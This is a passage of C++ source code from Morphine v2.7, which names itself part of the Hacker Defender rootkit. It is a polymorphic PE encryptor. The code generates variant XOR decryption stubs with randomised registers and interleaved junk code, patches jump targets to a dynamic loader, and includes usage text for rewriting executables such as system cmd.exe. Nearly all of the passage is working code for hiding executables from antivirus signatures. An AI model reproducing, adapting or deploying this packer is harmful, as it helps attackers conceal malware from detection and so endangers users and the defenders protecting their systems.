  3563.  
  3564. LInitInstr[AInstruction].Vars[1].Len=6;
  3565. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3566. PushReg32(LPB,PolyContext.EipRegister);
  3567. AddReg32Reg32(LPB,PolyContext.EipRegister,ARegister);
  3568. MovReg32Reg32(LPB,ARegister,PolyContext.EipRegister);
  3569. PopReg32(LPB,PolyContext.EipRegister);
  3570.  
  3571. LInitInstr[AInstruction].Vars[2].Len=6;
  3572. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3573. PushReg32(LPB,PolyContext.EipRegister);
  3574. AddReg32Reg32(LPB,PolyContext.EipRegister,ARegister);
  3575. PushReg32(LPB,PolyContext.EipRegister);
  3576. PopReg32(LPB,ARegister);
  3577. PopReg32(LPB,PolyContext.EipRegister);
  3578.  
  3579. LInitInstr[AInstruction].Vars[3].Len=2;
  3580. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3581. PushReg32(LPB,PolyContext.EipRegister);
  3582. LInitInstr[AInstruction].Vars[3].Len+=AddReg32RegMem(LPB,ARegister,REG_ESP);
  3583. PopReg32(LPB,PolyContext.EipRegister);
  3584. break;
  3585.  
  3586. case PII_CODER_LOAD_KEY_TO_REG:
  3587. LInitInstr[AInstruction].Count=4;
  3588. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3589. LInitInstr[AInstruction].Vars[0].Len=MovReg32RegMem(LPB,ARegister,PolyContext.KeyAddrRegister);
  3590.  
  3591. LInitInstr[AInstruction].Vars[1].Len=1;
  3592. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3593. LInitInstr[AInstruction].Vars[1].Len+=PushRegMem(LPB,PolyContext.KeyAddrRegister);
  3594. PopReg32(LPB,ARegister);
  3595.  
  3596. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3597. LInitInstr[AInstruction].Vars[2].Len=LeaReg32Reg32(LPB,ARegister,PolyContext.KeyAddrRegister);
  3598. LInitInstr[AInstruction].Vars[2].Len+=MovReg32RegMem(LPB,ARegister,ARegister);
  3599.  
  3600. LInitInstr[AInstruction].Vars[3].Len=2;
  3601. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3602. XorReg32Reg32(LPB,ARegister,ARegister);
  3603. LInitInstr[AInstruction].Vars[3].Len+=AddReg32RegMem(LPB,ARegister,PolyContext.KeyAddrRegister);
  3604. break;
  3605.  
  3606. case PII_CODER_TEST_KEY_END:
  3607. LInitInstr[AInstruction].Count=4;
  3608. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3609. LInitInstr[AInstruction].Vars[0].Len=TestReg32Num32(LPB,ARegister,0xFF000000);
  3610.  
  3611. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3612. LInitInstr[AInstruction].Vars[1].Len=TestRegMemNum32(LPB,PolyContext.KeyAddrRegister,0xFF000000);
  3613.  
  3614. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3615. LInitInstr[AInstruction].Vars[2].Len=7;
  3616. MovReg32Reg32(LPB,CtxFreeReg(),ARegister);
  3617. ShrReg32Num8(LPB,LFreeReg,0x18);
  3618. TestReg32Reg32(LPB,LFreeReg,LFreeReg);
  3619.  
  3620. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3621. LInitInstr[AInstruction].Vars[3].Len=11;
  3622. PushReg32(LPB,ARegister);
  3623. PopReg32(LPB,CtxFreeReg());
  3624. AndReg32Num32(LPB,LFreeReg,0xFF000000);
  3625. CmpReg32Num8(LPB,LFreeReg,0);
  3626. break;
  3627.  
  3628. case PII_CODER_JZ_CODER_BEGIN:
  3629. LInitInstr[AInstruction].Count=2;
  3630. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3631. LInitInstr[AInstruction].Vars[0].Len=6;
  3632. LInitInstr[AInstruction].Vars[0].Fix1=2;
  3633. LInitInstr[AInstruction].Vars[0].Fix2=0;
  3634. RelJzAddr32(LPB,0x12345678);
  3635.  
  3636. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3637. LInitInstr[AInstruction].Vars[1].Len=7;
  3638. LInitInstr[AInstruction].Vars[1].Fix1=3;
  3639. LInitInstr[AInstruction].Vars[1].Fix2=1;
  3640. RelJnzAddr8(LPB,5);
  3641. RelJmpAddr32(LPB,0x12345678);
  3642. break;
  3643.  
  3644. case PII_CODER_ADD_DATA_IDX:
  3645. LInitInstr[AInstruction].Count=4;
  3646. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3647. LInitInstr[AInstruction].Vars[0].Len=2;
  3648. AddReg32Reg32(LPB,ARegister,PolyContext.DataSizeRegister);
  3649.  
  3650. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3651. LInitInstr[AInstruction].Vars[1].Len=2;
  3652. PushReg32(LPB,PolyContext.DataSizeRegister);
  3653. LInitInstr[AInstruction].Vars[1].Len+=AddReg32RegMem(LPB,ARegister,REG_ESP);
  3654. PopReg32(LPB,PolyContext.DataSizeRegister);
  3655.  
  3656. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3657. LInitInstr[AInstruction].Vars[2].Len=6;
  3658. PushReg32(LPB,CtxFreeReg());
  3659. MovReg32Reg32(LPB,LFreeReg,PolyContext.DataSizeRegister);
  3660. AddReg32Reg32(LPB,ARegister,LFreeReg);
  3661. PopReg32(LPB,LFreeReg);
  3662.  
  3663. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3664. LInitInstr[AInstruction].Vars[3].Len=2;
  3665. PushReg32(LPB,ARegister);
  3666. LInitInstr[AInstruction].Vars[3].Len+=AddRegMemReg32(LPB,REG_ESP,PolyContext.DataSizeRegister);
  3667. PopReg32(LPB,ARegister);
  3668. break;
  3669.  
  3670. case PII_CODER_XOR_DATA_REG:
  3671. LInitInstr[AInstruction].Count=4;
  3672. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3673. LInitInstr[AInstruction].Vars[0].Len=XorReg32RegMem(LPB,ARegister,PolyContext.DataAddrRegister);
  3674.  
  3675. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3676. LInitInstr[AInstruction].Vars[1].Len=3;
  3677. PushReg32(LPB,CtxFreeReg());
  3678. LInitInstr[AInstruction].Vars[1].Len+=PushRegMem(LPB,PolyContext.DataAddrRegister);
  3679. LInitInstr[AInstruction].Vars[1].Len+=XorReg32RegMem(LPB,ARegister,REG_ESP);
  3680. PopReg32(LPB,LFreeReg);
  3681. PopReg32(LPB,LFreeReg);
  3682.  
  3683. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3684. LInitInstr[AInstruction].Vars[2].Len=4;
  3685. PushReg32(LPB,CtxFreeReg());
  3686. LInitInstr[AInstruction].Vars[2].Len+=MovReg32RegMem(LPB,LFreeReg,PolyContext.DataAddrRegister);
  3687. XorReg32Reg32(LPB,ARegister,LFreeReg);
  3688. PopReg32(LPB,LFreeReg);
  3689.  
  3690. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3691. LInitInstr[AInstruction].Vars[3].Len=4;
  3692. PushReg32(LPB,CtxFreeReg());
  3693. LInitInstr[AInstruction].Vars[3].Len+=MovReg32RegMem(LPB,LFreeReg,PolyContext.DataAddrRegister);
  3694. PushReg32(LPB,LFreeReg);
  3695. LInitInstr[AInstruction].Vars[3].Len+=XorRegMemReg32(LPB,REG_ESP,ARegister);
  3696. PopReg32(LPB,ARegister);
  3697. PopReg32(LPB,LFreeReg);
  3698. break;
  3699.  
  3700. case PII_CODER_STORE_DATA:
  3701. LInitInstr[AInstruction].Count=4;
  3702. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3703. LInitInstr[AInstruction].Vars[0].Len=1;
  3704.  
  3705. if((PolyContext.DataAddrRegister!=REG_EDI)||(PolyContext.KeyBytesRegister!=REG_EAX))
  3706. {
  3707. if (PolyContext.DataAddrRegister!=REG_EDI) LInitInstr[AInstruction].Vars[0].Len+=6;
  3708. if (PolyContext.DataAddrRegister!=REG_EDI) PushReg32(LPB,REG_EDI);
  3709.  
  3710. if (PolyContext.DataAddrRegister!=REG_EAX) LInitInstr[AInstruction].Vars[0].Len+=2;
  3711. if (PolyContext.DataAddrRegister!=REG_EAX) PushReg32(LPB,REG_EAX);
  3712.  
  3713. if (PolyContext.DataAddrRegister!=REG_EDI) PushReg32(LPB,PolyContext.DataAddrRegister);
  3714. PushReg32(LPB,PolyContext.KeyBytesRegister);
  3715. PopReg32(LPB,REG_EAX);
  3716. if (PolyContext.DataAddrRegister!=REG_EDI) PopReg32(LPB,REG_EDI);
  3717. LInitInstr[AInstruction].Vars[0].Len+=4;
  3718. }
  3719. Stosd(LPB);
  3720. if((PolyContext.DataAddrRegister!=REG_EDI)||(PolyContext.KeyBytesRegister!=REG_EAX))
  3721. {
  3722. PushReg32(LPB,REG_EAX);
  3723. if (PolyContext.DataAddrRegister!=REG_EDI) PushReg32(LPB,REG_EDI);
  3724. if (PolyContext.DataAddrRegister!=REG_EDI) PopReg32(LPB,PolyContext.DataAddrRegister);
  3725. PopReg32(LPB,PolyContext.KeyBytesRegister);
  3726. if (PolyContext.DataAddrRegister!=REG_EAX) PopReg32(LPB,REG_EAX);
  3727. if (PolyContext.DataAddrRegister!=REG_EDI) PopReg32(LPB,REG_EDI);
  3728. }
  3729. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3730. LInitInstr[AInstruction].Vars[1].Len=4;
  3731. LInitInstr[AInstruction].Vars[1].Len+=MovRegMemReg32(LPB,PolyContext.DataAddrRegister,ARegister);
  3732. IncReg32(LPB,PolyContext.DataAddrRegister);
  3733. IncReg32(LPB,PolyContext.DataAddrRegister);
  3734. IncReg32(LPB,PolyContext.DataAddrRegister);
  3735. IncReg32(LPB,PolyContext.DataAddrRegister);
  3736.  
  3737. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3738. LInitInstr[AInstruction].Vars[2].Len=5;
  3739. PushReg32(LPB,CtxFreeReg());
  3740. LInitInstr[AInstruction].Vars[2].Len+=XchgReg32Reg32(LPB,REG_ESP,PolyContext.DataAddrRegister);
  3741. PopReg32(LPB,LFreeReg);
  3742. PushReg32(LPB,ARegister);
  3743. PopReg32(LPB,LFreeReg);
  3744. LInitInstr[AInstruction].Vars[2].Len+=XchgReg32Reg32(LPB,PolyContext.DataAddrRegister,REG_ESP);
  3745. PopReg32(LPB,LFreeReg);
  3746.  
  3747. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3748. LInitInstr[AInstruction].Vars[3].Len=2;
  3749.  
  3750. if(ARegister==REG_EDI)
  3751. {
  3752. MovReg32Reg32(LPB,CtxFreeReg(),REG_EDI);
  3753. LInitInstr[AInstruction].Vars[3].Len+=2;
  3754. }
  3755.  
  3756. if(PolyContext.DataAddrRegister!=REG_EDI)
  3757. {
  3758. PushReg32(LPB,REG_EDI);
  3759. MovReg32Reg32(LPB,REG_EDI,PolyContext.DataAddrRegister);
  3760. LInitInstr[AInstruction].Vars[3].Len+=6;
  3761. }
  3762. if(ARegister==REG_EDI) PushReg32(LPB,LFreeReg);
  3763. else PushReg32(LPB,ARegister);
  3764. LInitInstr[AInstruction].Vars[3].Len+=XchgReg32Reg32(LPB,REG_ESI,REG_ESP);
  3765. Movsd(LPB);
  3766. LInitInstr[AInstruction].Vars[3].Len+=XchgReg32Reg32(LPB,REG_ESP,REG_ESI);
  3767. if(PolyContext.DataAddrRegister!=REG_EDI)
  3768. {
  3769. MovReg32Reg32(LPB,PolyContext.DataAddrRegister,REG_EDI);
  3770. PopReg32(LPB,REG_EDI);
  3771. }
  3772. break;
  3773.  
  3774. case PII_CODER_INC_SRC_PTR:
  3775. LInitInstr[AInstruction].Count=4;
  3776. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3777. LInitInstr[AInstruction].Vars[0].Len=1;
  3778. IncReg32(LPB,ARegister);
  3779.  
  3780. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3781. LInitInstr[AInstruction].Vars[1].Len=3;
  3782. AddReg32Num8(LPB,ARegister,1);
  3783.  
  3784. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3785. LInitInstr[AInstruction].Vars[2].Len=3;
  3786. SubReg32Num8(LPB,ARegister,BYTE(-1));
  3787.  
  3788. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3789. LInitInstr[AInstruction].Vars[3].Len=7;
  3790. PushReg32(LPB,CtxFreeReg());
  3791. PushNum8(LPB,1);
  3792. PopReg32(LPB,LFreeReg);
  3793. AddReg32Reg32(LPB,ARegister,LFreeReg);
  3794. PopReg32(LPB,LFreeReg);
  3795. break;
  3796.  
  3797. case PII_CODER_LOOP_CODER_CODE:
  3798. LInitInstr[AInstruction].Count=1;
  3799. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3800. LInitInstr[AInstruction].Vars[0].Len=7;
  3801. LInitInstr[AInstruction].Vars[0].Fix1=3;
  3802. LInitInstr[AInstruction].Vars[0].Fix2=1;
  3803. DecReg32(LPB,ARegister);
  3804. RelJnzAddr32(LPB,0x12345678);
  3805. break;
  3806. }
  3807. }
  3808.  
  3809. //-------------------------------------------
  3810. void GenerateInitCode(DWORD ACodePtr,DWORD AKeyPtr,DWORD AData1Ptr,
  3811. DWORD ASize1,DWORD AData2Ptr,DWORD ASize2,DWORD ADynLoadAddr,
  3812. DWORD AMainPtr,DWORD AEntryPointAddr,DWORD AImpThunk)
  3813. {
  3814. int i;
  3815. ASize1=ASize1 >> 2;
  3816. // ASize2=ASize2 >> 2;
  3817.  
  3818. ZeroMemory(&LInitInstr,sizeof(LInitInstr));
  3819.  
  3820. //generate random context
  3821. #ifndef STATIC_CONTEXT
  3822. PolyContext.DataSizeRegister=REG_NON;
  3823. PolyContext.DataAddrRegister=REG_NON;
  3824. PolyContext.EipRegister=REG_NON;
  3825. PolyContext.KeyAddrRegister=REG_NON;
  3826. PolyContext.KeyBytesRegister=REG_NON;
  3827. PolyContext.FreeRegisters[0]=REG_NON;
  3828. PolyContext.FreeRegisters[1]=REG_NON;
  3829. #else
  3830.  
  3831. // PolyContext.DataSizeRegister=REG_ESI;
  3832. // PolyContext.DataAddrRegister=REG_EBP;
  3833. // PolyContext.EipRegister=REG_ECX;
  3834. // PolyContext.KeyAddrRegister=REG_EAX;
  3835. // PolyContext.KeyBytesRegister=REG_EBX;
  3836. // PolyContext.FreeRegisters[0]=REG_EDI;
  3837. // PolyContext.FreeRegisters[1]=REG_EDX;
  3838. PolyContext.DataSizeRegister=REG_EAX;
  3839. PolyContext.DataAddrRegister=REG_EBX;
  3840. PolyContext.EipRegister=REG_ECX;
  3841. PolyContext.KeyAddrRegister=REG_EDX;
  3842. PolyContext.KeyBytesRegister=REG_ESI;
  3843. PolyContext.FreeRegisters[0]=REG_EDI;
  3844. PolyContext.FreeRegisters[1]=REG_EBP;
  3845. #endif
  3846.  
  3847. #ifndef STATIC_CONTEXT
  3848. for(i=0;i<Reg32Count;i++)LRegUsed[i]=FALSE;
  3849. LNotUsed=Reg32Count-1;
  3850. while(LNotUsed>0)
  3851. {
  3852. LReg=(BYTE)Random(Reg32Count);
  3853. while(LRegUsed[LReg] ||(LReg==REG_ESP))
  3854. {
  3855. LReg=(LReg+1) % Reg32Count;
  3856. }
  3857. LRegUsed[LReg]=TRUE;
  3858.  
  3859. switch(LNotUsed)
  3860. {
  3861. case 1:
  3862. PolyContext.DataSizeRegister=LReg;
  3863. break;
  3864.  
  3865. case 2:
  3866. PolyContext.DataAddrRegister=LReg;
  3867. break;
  3868.  
  3869. case 3:
  3870. PolyContext.EipRegister=LReg;
  3871. break;
  3872.  
  3873. case 4:
  3874. PolyContext.KeyAddrRegister=LReg;
  3875. break;
  3876.  
  3877. case 5:
  3878. PolyContext.KeyBytesRegister=LReg;
  3879. break;
  3880.  
  3881. case 6:
  3882. PolyContext.FreeRegisters[0]=LReg;
  3883. break;
  3884.  
  3885. case 7:
  3886. PolyContext.FreeRegisters[1]=LReg;
  3887. break;
  3888. }
  3889. LNotUsed--;
  3890. }
  3891. #endif
  3892.  
  3893. // these lines are good for debugging
  3894. // PolyContext.DataSizeRegister=REG_ESI;
  3895. // PolyContext.DataAddrRegister=REG_EBX;
  3896. // PolyContext.EipRegister=REG_EDX;
  3897. // PolyContext.KeyAddrRegister=REG_EBP;
  3898. // PolyContext.KeyBytesRegister=REG_EAX;
  3899. // PolyContext.FreeRegisters[0]=REG_ECX;
  3900. // PolyContext.FreeRegisters[1]=REG_EDI;
  3901.  
  3902. GeneratePolyInstruction(PII_POLY_PUSHAD,REG_NON);
  3903. GeneratePolyInstruction(PII_POLY_MOV_REG_LOADER_SIZE,PolyContext.DataSizeRegister);
  3904. GeneratePolyInstruction(PII_POLY_MOV_REG_LOADER_ADDR,PolyContext.DataAddrRegister);
  3905.  
  3906. GeneratePolyInstruction(PII_CODER_CALL_GET_EIP,REG_NON);
  3907. GeneratePolyInstruction(PII_CODER_GET_EIP,PolyContext.EipRegister);
  3908. GeneratePolyInstruction(PII_CODER_FIX_DST_PTR,PolyContext.DataAddrRegister);
  3909. GeneratePolyInstruction(PII_CODER_MOV_REG_KEY,PolyContext.KeyAddrRegister);
  3910. GeneratePolyInstruction(PII_CODER_FIX_SRC_PTR,PolyContext.KeyAddrRegister);
  3911. GeneratePolyInstruction(PII_CODER_LOAD_KEY_TO_REG,PolyContext.KeyBytesRegister);
  3912. GeneratePolyInstruction(PII_CODER_TEST_KEY_END,PolyContext.KeyBytesRegister);
  3913. GeneratePolyInstruction(PII_CODER_JZ_CODER_BEGIN,REG_NON);
  3914. GeneratePolyInstruction(PII_CODER_ADD_DATA_IDX,PolyContext.KeyBytesRegister);
  3915. GeneratePolyInstruction(PII_CODER_XOR_DATA_REG,PolyContext.KeyBytesRegister);
  3916. GeneratePolyInstruction(PII_CODER_STORE_DATA,PolyContext.KeyBytesRegister);
  3917. GeneratePolyInstruction(PII_CODER_INC_SRC_PTR,PolyContext.KeyAddrRegister);
  3918. GeneratePolyInstruction(PII_CODER_LOOP_CODER_CODE,PolyContext.DataSizeRegister);
  3919. GeneratePolyInstruction(PII_POLY_JMP_DYNLOADER,REG_NON);
  3920.  
  3921. //
  3922. //now put some rubbish, select instruction and write it there
  3923. //then put some rubbish, select next instruction and write it there
  3924. //then put some ...
  3925. //
  3926. //but be careful with PII_CODER_TEST_KEY_END and PII_CODER_JZ_CODER_BEGIN instructions which is test and condition jump
  3927. //don't put the rubbish between them
  3928. //
  3929.  
  3930. ZeroMemory(InitData,InitSize);
  3931. LRemaining=InitSize;
  3932.  
  3933. LPB=(PBYTE)InitData;
  3934. LCodeStart=NtHeaders.OptionalHeader.ImageBase+NtHeaders.OptionalHeader.AddressOfEntryPoint;
  3935. LVirtAddr=LCodeStart;
  3936.  
  3937. ///LInitInstr[LI].
  3938. for(i=0;i<InitInstrCount;i++)
  3939. {
  3940. LDelta=InitInstrCount-i;
  3941. LDelta2=LRemaining-LDelta*10;
  3942. LRubbishSize=Random(DWORD(LDelta2 / LDelta));
  3943. if((i!=PII_CODER_JZ_CODER_BEGIN)&&(LRubbishSize>0))//can't change flags after test
  3944. {
  3945. GenerateRubbishCode(LPB,LRubbishSize,LVirtAddr);
  3946. LPB+=LRubbishSize;
  3947. LVirtAddr+=LRubbishSize;
  3948. LRemaining-=LRubbishSize;
  3949. }
  3950. LInitInstr[i].VirtualAddress=LVirtAddr;
  3951. LInitInstr[i].Index=(BYTE)Random(LInitInstr[i].Count);
  3952. CopyMemory(LPB,&LInitInstr[i].Vars[LInitInstr[i].Index].Code,LInitInstr[i].Vars[LInitInstr[i].Index].Len);
  3953. LPB+=LInitInstr[i].Vars[LInitInstr[i].Index].Len;
  3954. LVirtAddr+=LInitInstr[i].Vars[LInitInstr[i].Index].Len;
  3955. LRemaining-=LInitInstr[i].Vars[LInitInstr[i].Index].Len;
  3956. }
  3957.  
  3958. LRubbishSize=Random(LRemaining);
  3959. GenerateRubbishCode(LPB,LRubbishSize,LVirtAddr);
  3960. LRemaining-=LRubbishSize;
  3961. LPB+=LRubbishSize;
  3962. LRubbishSize=LRemaining;
  3963. GenerateRandomBuffer(LPB,LRubbishSize);
  3964.  
  3965. //
  3966. //now correct pointers
  3967. //
  3968.  
  3969. //we do call and pop for getting eip
  3970. //but we need only imagebase so we need to subtract rva of this call
  3971. LEIPSub=InsVAddr(PII_CODER_CALL_GET_EIP)-ACodePtr+InsFix3(PII_CODER_CALL_GET_EIP);
  3972.  
  3973. FixInstr(PII_POLY_MOV_REG_LOADER_SIZE,ASize1);
  3974. FixInstr(PII_POLY_MOV_REG_LOADER_ADDR,AData1Ptr-LEIPSub);
  3975.  
  3976. FixInstr(PII_CODER_MOV_REG_KEY,AKeyPtr-LEIPSub);
  3977. FixInstr(PII_CODER_CALL_GET_EIP,CallAddress(PII_CODER_CALL_GET_EIP,PII_CODER_GET_EIP)-InsFix2(PII_CODER_CALL_GET_EIP));
  3978. FixInstr(PII_CODER_JZ_CODER_BEGIN,JcxAddress(PII_CODER_JZ_CODER_BEGIN,PII_CODER_KEY_START)-InsFix2(PII_CODER_JZ_CODER_BEGIN));
  3979. FixInstr(PII_CODER_LOOP_CODER_CODE,JcxAddress(PII_CODER_LOOP_CODER_CODE,PII_CODER_CODE)-InsFix2(PII_CODER_LOOP_CODER_CODE));
  3980.  
  3981. FixInstr(PII_POLY_JMP_DYNLOADER,ADynLoadAddr-(InsVAddr(PII_POLY_JMP_DYNLOADER)+5)-InsFix2(PII_POLY_JMP_DYNLOADER));
  3982.  
  3983.  
  3984. //
  3985. //this can tell you more about what it finally does
  3986. //
  3987. //
  3988.  
  3989. // // PII_BEGIN
  3990. // pusha
  3991.  
  3992. // // PII_POLY_BEGIN
  3993. // mov ecx,0WWXXYYZZh //loader size // PII_POLY_MOV_REG_LOADER_SIZE
  3994. // mov edi,0WWXXYYZZh //loader addr // PII_POLY_MOV_REG_LOADER_ADDR
  3995.  
  3996. // // PII_CODER_BEGIN
  3997. // call PII_CODER_GET_EIP // PII_CODER_CALL_GET_EIP
  3998. // pop edx // PII_CODER_GET_EIP
  3999. // add edi,edx // PII_CODER_FIX_DST_PTR
  4000. // // PII_CODER_KEY_START
  4001. // mov esi,0WWXXYYZZh //key addr // PII_CODER_MOV_REG_KEY
  4002. // add esi,edx // PII_CODER_FIX_SRC_PTR
  4003. // // PII_CODER_CODE
  4004. // mov eax,[esi] //load key bytes // PII_CODER_LOAD_KEY_TO_REG
  4005. // test eax,0FF000000h //test end of key // PII_CODER_TEST_KEY_END
  4006. // jz PII_CODER_KEY_START //restart key // PII_CODER_JZ_CODER_BEGIN
  4007. // add eax,ecx //add some stuff // PII_CODER_ADD_DATA_IDX
  4008. // xor [edi],eax //decode // PII_CODER_XOR_DATA_REG
  4009. // stosd //store data // PII_CODER_STORE_DATA
  4010. // inc esi //change key // PII_CODER_INC_SRC_PTR
  4011. // loop PII_CODER_CODE // PII_CODER_LOOP_CODER_CODE
  4012. // // PII_CODER_END
  4013.  
  4014. // jmp @DynLoader_begin // PII_POLY_JMP_DYNLOADER
  4015. // // PII_POLY_END
  4016.  
  4017. // // PII_END
  4018.  
  4019. }
  4020.  
  4021. void ExtractFileName(PCHAR Destination,PCHAR Source)
  4022. {
  4023. PCHAR szTemp=strrchr(Source,'\\');
  4024. if(szTemp!=NULL)
  4025. {
  4026. szTemp++;
  4027. DWORD l=DWORD(strlen(szTemp))+1;
  4028. CopyMemory(Destination,szTemp,l);
  4029. }
  4030. Destination=NULL;
  4031. }
  4032.  
  4033.  
  4034. void About()
  4035. {
  4036. printf("\n");
  4037. printf("Morphine v2.7\n");
  4038. printf("by Holy_Father && Ratter/29A\n");
  4039. printf("as a part of Hacker Defender rootkit - www.hxdef.org\n");
  4040. printf("Copyright (c) 2000,forever ExEwORx\n");
  4041. printf("betatested by ch0pper <THEMASKDEMON@flashmail.com>\n");
  4042. printf("birthday: 03.10.2004\n");
  4043. printf("22.07.2005: translate into C++ by ashkBiz <ashkbiz@yahoo.com>\n");
  4044. printf("\n");
  4045. }
  4046.  
  4047. void Usage(PCHAR FileName)
  4048. {
  4049. PCHAR LStr;
  4050.  
  4051. LStr=strrchr(FileName,'\\');
  4052. if(LStr==NULL)
  4053. {
  4054. LStr=FileName;
  4055. }
  4056. else
  4057. {
  4058. LStr++;
  4059. }
  4060. About();
  4061.  
  4062. printf("Usage: %s [-q] [-d] [-b:ImageBase] [-o:OutputFile] InputFile \n", LStr);
  4063. printf(" -q be quiet (no console output)\n");
  4064. printf(" -d for dynamic DLLs only\n");
  4065. printf(" -i save resource icon and XP manifest\n");
  4066. printf(" -a save overlay data from the end of original file\n");
  4067. printf(" -b:ImageBase specify image base in hexadecimal string\n");
  4068. printf(" (it is rounded up to next 00010000 multiple)\n");
  4069. printf(" -o:OutputFile specify file for output\n");
  4070. printf(" (InputFile will be rewritten if no OutputFile given)\n");
  4071. printf("\n");
  4072. printf("Examples:\n");
  4073. printf("1) %s -q c:\\winnt\\system32\\cmd.exe\n", LStr);
  4074. printf(" rewrite cmd.exe in system directory and write no info\n");
  4075. printf("\n");
  4076. printf("2) %s -b:1F000000 -o:newcmd.exe c:\\winnt\\system32\\cmd.exe\n", LStr);
  4077. printf(" create new file called newcmd.exe based on cmd.exe in system dir\n");
  4078. printf(" set its image base to 0x1F000000 and display info about processing\n");
  4079. printf("\n");
  4080. printf("3) %s -d static.dll\n", LStr);
  4081. printf(" rewrite static.dll which is loaded only dynamically\n");
  4082. printf("\n");
  4083. printf("4) %s -i -o:cmdico.exe c:\\winnt\\system32\\cmd.exe\n", LStr);
  4084. printf(" create new file called cmdico.exe based on cmd.exe in system dir\n");
  4085. printf(" save its icon and or XP manifest in resource section\n");
  4086. printf("\n");
  4087. printf("5) %s -i -a srv.exe\n", LStr);
  4088. printf(" rewrite srv.exe, save its icon, XP manifest and overlay data\n");
  4089. printf("\n");
  4090. exit(0);
  4091. }
  4092.  
  4093. void ErrorMsg(PCHAR AErrorMsg)
  4094. {
  4095. if(!Quiet) printf("Error (%d): %s",GetLastError(),AErrorMsg);
  4096. }
  4097.  
  4098. //upcase for string
  4099. PCHAR UpperCase(PCHAR AStr)
  4100. {
  4101. CharUpperBuff(AStr,(DWORD)strlen(AStr));
  4102. return(AStr);
  4103. }
  4104.  
  4105. //converts a number to hex string
  4106. PCHAR IntToHex(PCHAR AStr,DWORD ACard,BYTE ADigits)
  4107. {
  4108. strcpy(AStr,"0x");
  4109. switch(ADigits)
  4110. {
  4111. case 2:
  4112. _itoa((BYTE)ACard,AStr+2,16);
  4113. break;
  4114.  
  4115. case 4:
  4116. _itoa((WORD)ACard,AStr+2,16);
  4117. break;
  4118.  
  4119. case 8:
  4120. _itoa((DWORD)ACard,AStr+2,16);
  4121. break;
  4122.  
  4123. }
  4124. CharUpperBuff(AStr+2,(DWORD)strlen(AStr));
  4125. return(AStr);
  4126. }
  4127.  
  4128. //converts hex string to number
  4129. DWORD HexToInt(PCHAR AHex)
  4130. {
  4131. int i;
  4132. BYTE LO;
  4133. DWORD LM;
  4134. DWORD Result;
  4135. LM=1;
  4136. Result=0;
  4137. AHex=UpperCase(AHex);
  4138. if((strlen(AHex)>2) &&(AHex[0]=='0') &&(AHex[1]=='X'))
  4139. {
  4140. AHex=AHex+2;
  4141. }
  4142.  
  4143. for(i=(int)strlen(AHex)-1;i>=0;i--)
  4144. {
  4145. if(!((AHex[i]=='0')||(AHex[i]=='1')||(AHex[i]=='2')||(AHex[i]=='3')||
  4146. (AHex[i]=='4')||(AHex[i]=='5')||(AHex[i]=='6')||(AHex[i]=='7')||
  4147. (AHex[i]=='8')||(AHex[i]=='9')||(AHex[i]=='A')||(AHex[i]=='B')||
  4148. (AHex[i]=='C')||(AHex[i]=='D')||(AHex[i]=='E')||(AHex[i]=='F')))
  4149. {
  4150. return(0);
  4151. }
  4152. if((AHex[i]=='0')||(AHex[i]=='1')||(AHex[i]=='2')||(AHex[i]=='3')||
  4153. (AHex[i]=='4')||(AHex[i]=='5')||(AHex[i]=='6')||(AHex[i]=='7')||
  4154. (AHex[i]=='8')||(AHex[i]=='9'))
  4155. {
  4156. LO=48;
  4157. }
  4158. else
  4159. {
  4160. LO=55;
  4161. }
  4162. LO=AHex[i]-LO;
  4163. Result=Result+LO*LM;
  4164. LM=LM << 4;
  4165. }
  4166. return(Result);
  4167. }
  4168.  
  4169. //return TRUE if AData points on valid image file
  4170. BOOL CheckPEFile(PBYTE AData)
  4171. {
  4172. pimage_dos_header=(PIMAGE_DOS_HEADER)AData;
  4173. if(pimage_dos_header->e_magic!=IMAGE_DOS_SIGNATURE)
  4174. {
  4175. return 0;
  4176. }
  4177. pimage_nt_headers=(PIMAGE_NT_HEADERS)(AData+pimage_dos_header->e_lfanew);
  4178. if(pimage_nt_headers->Signature!=IMAGE_NT_SIGNATURE)// PE00
  4179. {
  4180. return 0;
  4181. }
  4182. if(pimage_nt_headers->FileHeader.Machine!=IMAGE_FILE_MACHINE_I386)
  4183. {
  4184. return 0;
  4185. }
  4186. if(pimage_nt_headers->OptionalHeader.Magic!=IMAGE_NT_OPTIONAL_HDR_MAGIC)
  4187. {
  4188. return 0;
  4189. }
  4190. return 1;
  4191. }
  4192.  
  4193. //process command line, return true if args are ok
  4194. BOOL ProcessCmdLine(int argc, _TCHAR* argv[])
  4195. {
  4196. int i;
  4197. char LPar[255],LUpArg[255];
